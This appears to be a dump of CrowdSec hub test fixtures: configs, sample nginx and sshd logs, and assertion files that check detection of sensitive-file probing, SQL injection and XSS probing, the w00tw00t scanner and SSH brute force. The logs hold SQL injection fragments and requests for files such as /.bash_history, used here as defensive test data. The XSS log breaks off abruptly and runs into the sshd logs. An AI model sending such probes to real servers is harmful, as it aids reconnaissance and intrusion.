results[0].Overflow.Sources["127.0.0.1"].Range == "" results[0].Overflow.Sources["127.0.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["127.0.0.1"].GetValue() == "127.0.0.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "nginx-http-sensitive-files.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/.bash_history" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "nginx-http-sensitive-files.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/.bashrc" results[0].Overflow.Alert.Events[1].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[1].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[1].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "nginx-http-sensitive-files.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("http_path") == "/.cache" results[0].Overflow.Alert.Events[2].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[2].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[2].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "nginx-http-sensitive-files.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("http_path") == "/.config" results[0].Overflow.Alert.Events[3].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[3].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[3].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "nginx-http-sensitive-files.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("http_path") == "/.cvs" results[0].Overflow.Alert.Events[4].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[4].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[4].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[4].GetMeta("service") == "http" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-sensitive-files" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 5hub1/.tests/nginx-http-sqli-probing/000077500000000000000000000000001437532772500176605ustar00rootroot00000000000000hub1/.tests/nginx-http-sqli-probing/config.yaml000066400000000000000000000004071437532772500220120ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/http-logs scenarios: - crowdsecurity/http-sqli-probing postoverflows: - "" log_file: nginx-http-sqli-probing.log log_type: nginx ignore_parsers: true hub1/.tests/nginx-http-sqli-probing/nginx-http-sqli-probing.log000066400000000000000000000032151437532772500250700ustar00rootroot00000000000000127.0.0.1 - - [30/Sep/2021:11:11:54 +0200] "GET /foo?a=information_schema.tables HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:11:11:54 +0200] "GET /foo?a=%20union%20all%20select%20 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:11:11:54 +0200] "GET /foo?a=%20union%20select%20 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:11:11:54 +0200] "GET /foo?a=%2cnull%2cnull HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:11:11:54 +0200] "GET /foo?a=benchmark%28 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:11:11:54 +0200] "GET /foo?a=load_file%28 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:11:11:54 +0200] "GET /foo?a=substr%28 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:11:11:54 +0200] "GET /foo?a=substring%28 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:11:11:54 +0200] "GET /foo?a=selectchar%28 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:11:11:54 +0200] "GET /foo?a=%7c%7cchr%28 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:11:11:54 +0200] "GET /foo?a=distinct%28 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:11:11:54 +0200] "GET /foo?a=pg_sleep%28 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:11:11:54 +0200] "GET /foo?a=sleep%28 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:11:11:54 +0200] "GET /foo?a=upper%28 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:11:11:54 +0200] "GET /foo?a=hex%28 HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:11:11:54 +0200] "GET /foo?a=md5%28 HTTP/1.1" 404 162 "-" "curl/7.68.0" hub1/.tests/nginx-http-sqli-probing/parser.assert000066400000000000000000000000001437532772500223650ustar00rootroot00000000000000hub1/.tests/nginx-http-sqli-probing/scenario.assert000066400000000000000000000210701437532772500227060ustar00rootroot00000000000000len(results) == 1 "127.0.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["127.0.0.1"].IP == "127.0.0.1" results[0].Overflow.Sources["127.0.0.1"].Range == "" results[0].Overflow.Sources["127.0.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["127.0.0.1"].GetValue() == "127.0.0.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "nginx-http-sqli-probing.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_args_len") == "27" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/foo?a=information_schema.tables" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "nginx-http-sqli-probing.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_args_len") == "28" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/foo?a=%20union%20all%20select%20" results[0].Overflow.Alert.Events[1].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[1].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[1].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "nginx-http-sqli-probing.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("http_args_len") == "22" results[0].Overflow.Alert.Events[2].GetMeta("http_path") == "/foo?a=%20union%20select%20" results[0].Overflow.Alert.Events[2].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[2].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[2].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "nginx-http-sqli-probing.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("http_args_len") == "16" results[0].Overflow.Alert.Events[3].GetMeta("http_path") == "/foo?a=%2cnull%2cnull" results[0].Overflow.Alert.Events[3].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[3].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[3].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "nginx-http-sqli-probing.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("http_args_len") == "14" results[0].Overflow.Alert.Events[4].GetMeta("http_path") == "/foo?a=benchmark%28" results[0].Overflow.Alert.Events[4].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[4].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[4].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[4].GetMeta("service") == "http" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "nginx-http-sqli-probing.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("http_args_len") == "14" results[0].Overflow.Alert.Events[5].GetMeta("http_path") == "/foo?a=load_file%28" results[0].Overflow.Alert.Events[5].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[5].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[5].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[5].GetMeta("service") == "http" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[6].GetMeta("datasource_path") == "nginx-http-sqli-probing.log" results[0].Overflow.Alert.Events[6].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[6].GetMeta("http_args_len") == "11" results[0].Overflow.Alert.Events[6].GetMeta("http_path") == "/foo?a=substr%28" results[0].Overflow.Alert.Events[6].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[6].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[6].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[6].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[6].GetMeta("service") == "http" results[0].Overflow.Alert.Events[6].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[7].GetMeta("datasource_path") == "nginx-http-sqli-probing.log" results[0].Overflow.Alert.Events[7].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[7].GetMeta("http_args_len") == "14" results[0].Overflow.Alert.Events[7].GetMeta("http_path") == "/foo?a=substring%28" results[0].Overflow.Alert.Events[7].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[7].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[7].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[7].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[7].GetMeta("service") == "http" results[0].Overflow.Alert.Events[7].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[8].GetMeta("datasource_path") == "nginx-http-sqli-probing.log" results[0].Overflow.Alert.Events[8].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[8].GetMeta("http_args_len") == "15" results[0].Overflow.Alert.Events[8].GetMeta("http_path") == "/foo?a=selectchar%28" results[0].Overflow.Alert.Events[8].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[8].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[8].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[8].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[8].GetMeta("service") == "http" results[0].Overflow.Alert.Events[8].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[9].GetMeta("datasource_path") == "nginx-http-sqli-probing.log" results[0].Overflow.Alert.Events[9].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[9].GetMeta("http_args_len") == "14" results[0].Overflow.Alert.Events[9].GetMeta("http_path") == "/foo?a=%7c%7cchr%28" results[0].Overflow.Alert.Events[9].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[9].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[9].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[9].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[9].GetMeta("service") == "http" results[0].Overflow.Alert.Events[9].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[10].GetMeta("datasource_path") == "nginx-http-sqli-probing.log" results[0].Overflow.Alert.Events[10].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[10].GetMeta("http_args_len") == "13" results[0].Overflow.Alert.Events[10].GetMeta("http_path") == "/foo?a=distinct%28" results[0].Overflow.Alert.Events[10].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[10].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[10].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[10].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[10].GetMeta("service") == "http" results[0].Overflow.Alert.Events[10].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-sqli-probbing-detection" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 11 hub1/.tests/nginx-http-w00twoot/000077500000000000000000000000001437532772500167555ustar00rootroot00000000000000hub1/.tests/nginx-http-w00twoot/config.yaml000066400000000000000000000003711437532772500211070ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/http-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ltsich/http-w00tw00t postoverflows: - "" log_file: nginx-http-w00twoot.log log_type: nginx ignore_parsers: true hub1/.tests/nginx-http-w00twoot/nginx-http-w00twoot.log000066400000000000000000000001601437532772500232560ustar00rootroot00000000000000127.0.0.1 - - [30/Sep/2021:13:59:06 +0200] "GET /w00tw00t.at.ISC.SANS.DFind HTTP/1.1" 404 162 "-" "curl/7.68.0" hub1/.tests/nginx-http-w00twoot/parser.assert000066400000000000000000000000001437532772500214620ustar00rootroot00000000000000hub1/.tests/nginx-http-w00twoot/scenario.assert000066400000000000000000000023001437532772500217760ustar00rootroot00000000000000len(results) == 1 "127.0.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["127.0.0.1"].IP == "127.0.0.1" results[0].Overflow.Sources["127.0.0.1"].Range == "" results[0].Overflow.Sources["127.0.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["127.0.0.1"].GetValue() == "127.0.0.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "nginx-http-w00twoot.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/w00tw00t.at.ISC.SANS.DFind" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.GetScenario() == "ltsich/http-w00tw00t" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/nginx-http-xss-probing/000077500000000000000000000000001437532772500175255ustar00rootroot00000000000000hub1/.tests/nginx-http-xss-probing/config.yaml000066400000000000000000000004051437532772500216550ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/http-logs scenarios: - crowdsecurity/http-xss-probing postoverflows: - "" log_file: nginx-http-xss-probing.log log_type: nginx ignore_parsers: true hub1/.tests/nginx-http-xss-probing/nginx-http-xss-probing.log000066400000000000000000000050141437532772500246010ustar00rootroot00000000000000127.0.0.1 - - [30/Sep/2021:11:14:41 +0200] "GET /foo?a=prompt( HTTP/1.1" 404 162 "-" "curl/7.68.0" 127.0.0.1 - - [30/Sep/2021:11:14:41 +0200] "GET /foo?a=
1 2022-01-19T14:23:55+00:00 OPNsense.localdomain sshd 44255 - [meta sequenceId="1"] Invalid user tutu from 1.2.3.4 port 33166 <38>1 2022-01-19T14:23:56+00:00 OPNsense.localdomain sshd 70823 - [meta sequenceId="3"] Invalid user tutu from 1.2.3.4 port 33168 <38>1 2022-01-19T14:23:56+00:00 OPNsense.localdomain sshd 7479 - [meta sequenceId="5"] Invalid user tutu from 1.2.3.4 port 33170 <38>1 2022-01-19T14:23:57+00:00 OPNsense.localdomain sshd 61700 - [meta sequenceId="7"] Invalid user tutu from 1.2.3.4 port 33172 <38>1 2022-01-19T14:23:57+00:00 OPNsense.localdomain sshd 76836 - [meta sequenceId="9"] Invalid user tutu from 1.2.3.4 port 33174 <38>1 2022-01-19T14:23:57+00:00 OPNsense.localdomain sshd 14281 - [meta sequenceId="11"] Invalid user tutu from 1.2.3.4 port 33176 <38>1 2022-01-19T14:23:58+00:00 OPNsense.localdomain sshd 50941 - [meta sequenceId="13"] Invalid user tutu from 1.2.3.4 port 33178 <38>1 2022-01-19T14:23:58+00:00 OPNsense.localdomain sshd 65559 - [meta sequenceId="15"] Invalid user tutu from 1.2.3.4 port 33180 <38>1 2022-01-19T14:23:58+00:00 OPNsense.localdomain sshd 86580 - [meta sequenceId="17"] Invalid user tutu from 1.2.3.4 port 33182 <38>1 2022-01-19T14:23:59+00:00 OPNsense.localdomain sshd 5560 - [meta sequenceId="19"] Invalid user tutu from 1.2.3.4 port 33184 hub1/.tests/opnsense-sshd/parser.assert000066400000000000000000001331061437532772500204700ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 10 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33166" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["pid"] == "44255" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["stuff1"] == "38" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["seq_id"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["stuff2"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:55+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["machine"] == "OPNsense.localdomain" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["pid"] == "70823" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["seq_id"] == "3" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:56+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33168" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["stuff2"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["stuff1"] == "38" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["machine"] == "OPNsense.localdomain" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:56+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["pid"] == "7479" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["stuff1"] == "38" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33170" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["seq_id"] == "5" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["stuff2"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["machine"] == "OPNsense.localdomain" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["stuff1"] == "38" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["stuff2"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33172" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["pid"] == "61700" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["seq_id"] == "7" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:57+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["machine"] == "OPNsense.localdomain" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33174" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["stuff2"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:57+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["stuff1"] == "38" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["pid"] == "76836" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["seq_id"] == "9" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["machine"] == "OPNsense.localdomain" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["stuff1"] == "38" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:57+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33176" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["pid"] == "14281" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["seq_id"] == "11" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["stuff2"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["machine"] == "OPNsense.localdomain" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["seq_id"] == "13" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["stuff1"] == "38" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33178" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["pid"] == "50941" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["stuff2"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:58+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["machine"] == "OPNsense.localdomain" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["seq_id"] == "15" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["stuff1"] == "38" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["stuff2"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33180" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["pid"] == "65559" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:58+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["machine"] == "OPNsense.localdomain" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["logsource"] == "syslog" 